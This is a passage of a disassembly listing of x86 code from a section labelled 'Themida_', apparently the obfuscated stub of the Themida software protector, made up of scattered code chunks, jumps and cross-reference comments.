		jmp	loc_597FB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592DDC:				; CODE XREF: sub_5916C4+889j
		add	edi, 13014DF9h
		jmp	loc_5913A4
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_592DE7:				; CODE XREF: Themida_:00592A07j
		not	edx
		jmp	loc_58ACA3
; ---------------------------------------------------------------------------


loc_592DEE:				; CODE XREF: Themida_:0058AA2Bj
					; Themida_:loc_5922B8j
		sub	esi, 1E6C006Fh
		pop	ebx
		shl	esi, 8
		xor	esi, edi
		jmp	loc_592694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592DFF:				; CODE XREF: sub_5916C4-1A20j
		shr	edi, 6
		jmp	loc_58B5F8
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338C


loc_592E07:				; CODE XREF: sub_59338C+1Dj
		sub	[esp+4+var_4], 2E3970AFh
		jmp	loc_58D4B8
; END OF FUNCTION CHUNK	FOR sub_59338C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592E13:				; CODE XREF: sub_58C17E+F2Bj
		pop	esp
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 2
		sub	esi, ecx
		jmp	loc_596A94
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_592E29:				; CODE XREF: sub_58DBC4-123Fj
		xchg	ebx, [esp+0]
		sub	esp, 4
		mov	[esp+0], ebx
		not	dword ptr [esp+0]
		pop	ebx
		xchg	ebx, [esp+0]
		mov	eax, [esp+0]
		push	esi
		jmp	loc_594466
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------


loc_592E42:				; CODE XREF: Themida_:0058E1DFj
		pop	edi
		pop	eax
		add	eax, 17022448h
		jmp	loc_58EEE6
; ---------------------------------------------------------------------------


loc_592E4E:				; CODE XREF: Themida_:0058F391j
		pop	si
		push	small 5519h
		mov	[esp], bp
		push	ecx
		jmp	loc_597DBC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5904B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BA12


loc_592E67:				; CODE XREF: sub_58BA12+8501j
		mov	ebp, [esp+0]
		jmp	loc_58C2F9
; END OF FUNCTION CHUNK	FOR sub_58BA12
; ---------------------------------------------------------------------------


loc_592E6F:				; CODE XREF: Themida_:00594315j
		mov	esp, [esp]
		mov	[esp], si
		not	word ptr [esp]
		jmp	loc_596629
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_592E7F:				; CODE XREF: sub_5916CB-2CA7j
		and	eax, ebp
		jmp	loc_58A946
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_592E86:				; CODE XREF: Themida_:0059021Ej
		push	44AB323Ah
		pop	ebp
		xor	ebp, eax
		pop	eax
		jmp	loc_58EBCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_592E94:				; CODE XREF: sub_595E21-5E34j
		xor	ecx, eax
		jmp	loc_592BA9
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_592E9B:				; CODE XREF: sub_590010+138Fj
		add	esp, 4
		push	eax
		mov	eax, 16363E2Ch
		add	eax, 42DDEC27h
		add	ecx, 277416BDh
		add	ecx, eax
		sub	ecx, 277416BDh
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58A73F
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_592EC5:				; CODE XREF: sub_595258+1AA7j
		add	edx, 0A5C016Ch
		mov	edi, edx
		pop	edx
		add	ebp, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_58F8F2
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592ED8:				; CODE XREF: sub_5EC2E8-5FE56j
		mov	ebp, esp
		push	ebx
		mov	ebx, 69446953h
		jmp	loc_58F508
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590E26


loc_592EE5:				; CODE XREF: sub_590E26-3B75j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+0]
		pop	esp
		shr	ecx, 7
		push	6E84h
		mov	[esp+0], esi
		jmp	sub_5919E2
; END OF FUNCTION CHUNK	FOR sub_590E26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592EFC:				; CODE XREF: sub_5EC2E8-54C85j
		cmp	cl, al
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_592F04:				; CODE XREF: sub_5916C4-249Aj
					; sub_590010-883j
		sub	ecx, 49AE3A1Ah
		sub	ecx, eax
		push	edi
		jmp	loc_5964F6
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_592F12:				; CODE XREF: Themida_:00594160j
		add	esp, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_592F38:				; CODE XREF: Themida_:00590759j
		mov	cx, 6D07h
		sub	[esp+4], cx
		pop	cx
		jmp	loc_59451C
; ---------------------------------------------------------------------------


loc_592F48:				; CODE XREF: Themida_:0058E157j
		xchg	bl, dl
		push	ebx
		push	edx
		mov	dh, 4Ch
		jmp	loc_591481
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_592F53:				; CODE XREF: sub_596CA1+5j
		inc	bl
		xor	bl, 0BFh
		sub	dl, bl
		mov	ebx, [esp+4+var_4]
		jmp	loc_58C133
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592F62:				; CODE XREF: sub_58F5B5+2078j
					; sub_58C17E+846Bj ...
		push	6F5B0DA5h
		pop	ebx
		or	ebx, 760E4BB8h
		jz	loc_596F86
		xor	ebx, 703859EDh
		shr	ebx, 7
		jnz	loc_592A43
		xor	ebx, 6B84F12Bh
		mov	esi, ebx
		pop	ebx
		push	ecx


loc_592F8D:				; CODE XREF: Themida_:0058C4CCj
		pop	esp
		mov	[esp+0], ebp
		push	7C11h
		jmp	loc_58CEB9
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_592F9B:				; CODE XREF: Themida_:0058D9B0j
		push	eax
		mov	eax, 56774CF8h
		add	ebp, eax
		pop	eax
		jmp	loc_58C82C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_592FB9:				; CODE XREF: Themida_:0058B544j
		mov	[esp], ebp
		mov	ebp, 6C142162h
		inc	ebp
		push	ebx
		mov	ebx, 1DF62AB5h
		and	ebx, 475B4451h
		shr	ebx, 8
		jmp	loc_597A33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_592FD6:				; CODE XREF: sub_5916CB-3446j
					; Themida_:00590300j
		inc	eax
		and	eax, 4FBE5081h
		xor	eax, 0C381824Fh
		add	edi, eax
		jmp	loc_596139
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_592FE8:				; CODE XREF: sub_58F5B5+801Fj
					; sub_597969+6j
		xor	edx, 0A7079D3h
		pop	ebx
		or	[edi+1Ch], edx
		jmp	loc_58C103
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_592FF7:				; CODE XREF: sub_595258-98B5j
		shl	ecx, 5
		inc	ecx
		jmp	loc_58F916
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593000:				; CODE XREF: sub_58C17E+1B14j
		pop	edi
		push	ecx
		mov	ecx, 4C797903h
		shr	ecx, 5
		add	ecx, 1A37A6D4h
		jmp	loc_590D5E
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593015:				; CODE XREF: Themida_:005930F0j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58E576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593026:				; CODE XREF: sub_5916C4-599Ej
		jo	sub_5966C1
		push	ebp
		mov	ebp, 247D70B9h
		xor	edi, ebp
		pop	ebp
		add	edi, 9A49F687h
		or	edi, 65DC2AC7h
		shr	edi, 3
		xor	edi, 434A9B9Eh
		push	eax
		mov	eax, 45B23FC3h
		shl	eax, 5
		and	eax, 4E34376Ch
		add	eax, 3DCC2498h
		add	ecx, eax
		jmp	loc_5929EC
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_593064:				; CODE XREF: Themida_:0058D971j
		sub	esi, 7BF3BC75h
		xor	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		sub	edi, 6BB62C5Eh
		add	edi, ebp
		jmp	loc_58B87E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_59307D:				; CODE XREF: sub_595E21-3A7Aj
		xchg	ebp, [esp+0]
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		xor	eax, ebp
		jmp	loc_58D2E6
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_593091:				; CODE XREF: Themida_:005976C7j
		mov	ebp, esp
		push	edx
		mov	edx, 7B0546E2h
		jmp	loc_58B90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59309E:				; CODE XREF: sub_5916C4+2433j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5930A3:				; CODE XREF: Themida_:00594AF8j
		mov	eax, 2
		add	edx, 0B1E6D1Dh
		add	edx, eax
		sub	edx, 0B1E6D1Dh
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5927B8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58A5B9
; ---------------------------------------------------------------------------


loc_5930CE:				; CODE XREF: Themida_:00596533j
		pop	dword ptr [esp]
		pop	esp
		mul	ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		jmp	loc_59421F
; ---------------------------------------------------------------------------


loc_5930E5:				; CODE XREF: Themida_:0058C6B7j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_593015
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5930F5:				; CODE XREF: sub_592D25-35CAj
		and	eax, edi
		pop	edi
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_58E72E
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_593102:				; CODE XREF: Themida_:00595700j
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_58D3A6
; ---------------------------------------------------------------------------


loc_593120:				; CODE XREF: Themida_:0058F6FFj
		sub	ebx, 62F13810h
		add	ebx, ebp
		add	ebx, 62F13810h
		mov	ebp, [esp]
		jmp	loc_58BEA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_593136:				; CODE XREF: sub_58B4D6+7CDCj
		push	[esp+0Ch+var_C]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_5910F4
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59314C:				; CODE XREF: sub_58F5B5+3BB7j
		push	ecx
		jmp	loc_5906BA
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_593152:				; CODE XREF: sub_5921D8-4C9Dj
		jmp	loc_5936E4
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593157:				; CODE XREF: sub_58C17E+16F7j
		add	ebp, ecx
		sub	ebp, 24C13372h
		pop	ecx
		jmp	loc_593886
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_593165:				; CODE XREF: sub_58F5B5+775Aj
		pop	edx
		add	edx, 4
		jmp	loc_59314C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_593171:				; CODE XREF: Themida_:00592D7Bj
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	73D2h
		mov	[esp], esi
		push	4AF6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59435E
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_594246
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_5931A2:				; CODE XREF: sub_58B4D6+990Dj
		mov	ebx, 6D5159B4h
		xor	edi, ebx
		pop	ebx
		xor	edi, 3F9EF461h
		xor	eax, edi
		jmp	loc_593136
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_5931B7:				; CODE XREF: Themida_:0058E202j
		push	edx
		mov	edx, 2
		add	ecx, edx
		pop	edx
		jmp	loc_58AD0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5931C5:				; CODE XREF: sub_5916C4+C6Cj
					; Themida_:0059379Fj
		sub	edx, 542535BEh
		pop	ebp
		sub	edx, ebp
		sub	edx, 25953E76h
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_595E8C
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5931E2:				; CODE XREF: sub_58C17E-32Aj
		add	ecx, ebx
		sub	ecx, 4E817D08h
		pop	ebx
		sub	ecx, 1BFB40A4h
		add	ecx, edi
		push	eax
		mov	eax, 3B3522FFh
		shl	eax, 2
		jmp	loc_58E7C2
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593201:				; CODE XREF: Themida_:00595D48j
		xor	ebx, 1420EEh
		mov	ecx, ebx
		pop	ebx
		add	edi, 4E9335EAh
		jmp	loc_58E06E
; ---------------------------------------------------------------------------


loc_593215:				; CODE XREF: Themida_:00594256j
		mov	dh, ah
		mov	eax, [esp]
		jmp	loc_5943D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_59321F:				; CODE XREF: sub_595E21-1DDEj
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	[esp-8+arg_4]
		pop	esi
		add	esp, 4
		jmp	loc_5945F8
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_593237:				; CODE XREF: Themida_:0058D19Cj
		push	esi
		jmp	loc_58C61C
; ---------------------------------------------------------------------------


loc_59323D:				; CODE XREF: Themida_:005961DAj
		pop	edi
		neg	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		neg	edx
		push	eax
		mov	eax, 4BE43252h
		xor	eax, 48378EFh
		add	eax, 804A50E7h
		jmp	loc_58D8A5
; ---------------------------------------------------------------------------


loc_59325C:				; CODE XREF: Themida_:0058F3FBj
		jmp	loc_59653F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E980


loc_593261:				; CODE XREF: sub_58E980+17Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_58DDBC
; END OF FUNCTION CHUNK	FOR sub_58E980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_593273:				; CODE XREF: sub_590010+1241j
		push	edi
		jmp	loc_58D484
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_593279:				; CODE XREF: Themida_:00596A8Fj
		mov	bh, 0F1h
		xor	bh, ch
		pop	ecx
		add	al, 20h
		add	al, bh
		sub	al, 20h
		jmp	loc_58B89C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_593289:				; CODE XREF: sub_595123-2546j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_58DF3A
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593299:				; CODE XREF: sub_58C17E:loc_58CBB7j
		shl	ebx, 2
		jz	loc_58C41D
		sub	ebx, 52F96193h
		jmp	loc_5948AC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5932AD:				; CODE XREF: Themida_:0058E68Cj
		mov	eax, esp
		jmp	loc_5901B5
; ---------------------------------------------------------------------------


loc_5932B4:				; CODE XREF: Themida_:0059477Fj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5927EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_5932C5:				; CODE XREF: sub_595E21-7E0j
		sub	ebx, 0FFFDBA48h
		jmp	loc_59125D
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5932DF:				; CODE XREF: Themida_:00590F93j
		mov	esi, 19AF2C1Ch
		mov	ebp, esi
		pop	esi
		add	edi, ebp
		pop	ebp
		jmp	loc_58B509
; ---------------------------------------------------------------------------


loc_5932EF:				; CODE XREF: Themida_:0058F56Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebx
		push	65B8h
		mov	[esp], ebp
		mov	ebp, 21427A4Ah
		shr	ebp, 6
		shr	ebp, 8
		push	ecx
		push	eax
		mov	eax, 762B133Ah
		shl	eax, 1
		jmp	loc_59005F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_593320:				; CODE XREF: Themida_:00591DE0j
					; sub_59524C-615j
		push	edi
		mov	edi, 1E894B47h
		or	edi, 714C55F1h
		shl	edi, 8
		not	edi
		neg	edi
		sub	edi, 4DF82AD0h
		push	ecx
		mov	ecx, 41495911h
		neg	ecx
		push	edi
		mov	edi, 10C921DEh
		xor	ecx, edi
		pop	edi
		xchg	ebp, ecx
		jmp	loc_58FA59
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593351:				; CODE XREF: sub_58C17E+68D1j
		sub	ebp, edi
		push	edi
		jmp	loc_58F89A
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593359:				; CODE XREF: Themida_:00594F4Ej
		and	edi, 5CE47035h
		jmp	loc_590E3B
; ---------------------------------------------------------------------------


loc_593364:				; CODE XREF: Themida_:0058F380j
		push	3FEDh
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_58CECF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59337B:				; CODE XREF: sub_58F5B5-247j
		add	edi, 1F3F4887h
		jmp	loc_58F736
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_593386:				; CODE XREF: Themida_:00595283j
		push	ebx
		jmp	loc_5952E2

; =============== S U B	R O U T	I N E =======================================



sub_59338C	proc near		; CODE XREF: sub_58F5B5-34A1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BA80 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D4B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DC97 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FD95 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592E07 SIZE 0000000C BYTES

		push	ebx
		add	[esp+4+var_4], 2DFA07B9h
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	ecx, 2DFA07B9h
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_592E07
sub_59338C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5933AE:				; CODE XREF: sub_5938B9-9459j
		add	esp, 4
		pop	esi
		rep movsd
		add	esp, [edx+38h]
		push	ecx
		mov	ecx, 3FE61E38h
		jmp	loc_594F03
; ---------------------------------------------------------------------------


loc_5933C2:				; CODE XREF: sub_5938B9-1497j
		jz	loc_58FEC9
		sub	ecx, 0FFE6DEC0h
		add	ecx, edx
		sub	esp, 4
		mov	[esp+0], eax
		jmp	sub_58EF52
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_5933DB:				; CODE XREF: Themida_:00590B0Fj
		sub	edi, 46945948h
		jmp	loc_58AE21
; ---------------------------------------------------------------------------


loc_5933E6:				; CODE XREF: Themida_:00591839j
		mov	cl, bl
		mov	dl, cl
		jmp	loc_58AE7F
; ---------------------------------------------------------------------------


loc_5933EF:				; CODE XREF: Themida_:005939E5j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_591A3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5933FD:				; CODE XREF: sub_5916C4-32FFj
		neg	ebp
		push	edi
		mov	edi, 2BF0EC3h
		xor	edi, 78B55049h
		xor	ebp, edi
		jmp	loc_59750E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59341A:				; CODE XREF: Themida_:0058F461j
		add	eax, 1D4A6F06h
		add	eax, ebx
		sub	eax, 1D4A6F06h
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, 39264A9Bh
		push	edi
		push	ebp
		mov	ebp, 19E63797h
		push	edx
		push	337823AFh
		pop	edx
		neg	edx
		jb	loc_58D94E
		shr	edx, 2
		and	edx, 6E0275E6h
		pop	esi
		mov	cx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_592890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_59346E:				; CODE XREF: sub_594654-929Cj
		pop	ebp
		push	eax
		mov	eax, 30CB1067h
		add	eax, 0CF34EF9Dh
		add	ebp, eax
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	esi
		sub	esp, 4
		jmp	loc_58D5F8
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_59348F:				; CODE XREF: sub_5919E2+34C0j
		popa
		jmp	loc_58F1B9
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593495:				; CODE XREF: sub_58C17E+3A94j
					; Themida_:005979AAj
		add	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		shr	ecx, 0Ah
		push	2E0Dh
		mov	[esp+2+var_4+2], ecx
		jmp	sub_592D25
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58DF95
; ---------------------------------------------------------------------------


loc_5934B4:				; CODE XREF: Themida_:005920EBj
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5934B9:				; CODE XREF: sub_5EC2E8-5B5F6j
					; sub_595E21-4357j
		mov	ecx, 2
		push	eax
		mov	eax, 6AD33F19h
		push	edx
		mov	edx, 69A97D20h
		shr	edx, 1
		jmp	loc_59726D
; ---------------------------------------------------------------------------


loc_5934D1:				; CODE XREF: sub_5EC2E8-5BE10j
		mov	ecx, ebx
		jmp	loc_59215C
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5934D8:				; CODE XREF: Themida_:005966E5j
		or	bh, 0F8h
		inc	bh
		jmp	loc_58E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5934E2:				; CODE XREF: sub_5916C4+1356j
		neg	ebp
		or	ebp, 77AA6A87h
		push	esi
		mov	esi, 6C4439F6h
		shr	esi, 3
		xor	esi, 3D2715E9h
		add	esi, 51150578h
		or	esi, 122F5521h
		jmp	loc_58FAD1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_59350A:				; CODE XREF: sub_595123-7C70j
					; Themida_:00594F5Aj
		pop	esi
		add	[esp+8+var_4], ebp
		push	esi
		mov	esi, 10A703A4h
		sub	[esp+0Ch+var_4], esi
		pop	esi
		mov	ebp, [esp+8+var_8]
		push	edx
		jmp	loc_595FF0
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_593523:				; CODE XREF: Themida_:0058ADE7j
					; Themida_:00592983j
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_595AC9
; ---------------------------------------------------------------------------


loc_593535:				; CODE XREF: Themida_:0058A8C9j
		add	dh, 0C6h
		jl	loc_5968B3
		xchg	bl, dh
		not	bl
		xchg	bl, dh
		or	dh, 1Dh
		shl	dh, 1
		mov	ebp, ecx
		push	esi


loc_59354C:				; CODE XREF: Themida_:00591E46j
		push	edx
		push	0E9159F2h
		mov	edx, [esp]
		jmp	loc_58C914
; ---------------------------------------------------------------------------


loc_59355A:				; CODE XREF: Themida_:00596522j
		pop	esi
		add	eax, 0A5530099h
		sub	ebp, 6A496FDDh
		add	ebp, eax
		add	ebp, 6A496FDDh
		pop	eax
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_590857
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59357F:				; CODE XREF: sub_590467-314Dj
		sub	bl, al
		add	bl, 3Dh
		sub	bl, 0E3h
		add	bl, 0D5h
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	sub_595BDA
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_593598:				; CODE XREF: Themida_:loc_58E993j
					; Themida_:loc_594593j
		jmp	loc_5907A0
; ---------------------------------------------------------------------------


loc_59359D:				; CODE XREF: Themida_:0058B4E3j
		mov	dh, 0FEh
		dec	dh
		jmp	loc_58F777
; ---------------------------------------------------------------------------


loc_5935A6:				; CODE XREF: Themida_:0058C806j
		jp	loc_590A04
		sub	ah, 13h
		mov	bh, ah
		pop	eax
		sub	dh, 0AFh
		add	dh, bh
		mov	bh, 20h


loc_5935B9:				; CODE XREF: Themida_:0058E25Aj
		mov	[esp], ebx
		push	12BCh
		mov	[esp], eax
		push	ecx
		mov	cl, 85h
		and	cl, 0C5h
		add	cl, 31h
		jmp	loc_5902CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5935D2:				; CODE XREF: sub_5EC2E8-5FE96j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_595288
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5935EF:				; CODE XREF: Themida_:0058A5DFj
		dec	esi
		push	ebp
		mov	ebp, 648E2397h
		or	esi, ebp
		jmp	loc_597930
; ---------------------------------------------------------------------------


loc_5935FD:				; CODE XREF: Themida_:005913FBj
		sub	eax, 6CB25198h
		add	eax, ebx
		add	eax, 6CB25198h
		sub	eax, 4A751382h
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5904A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


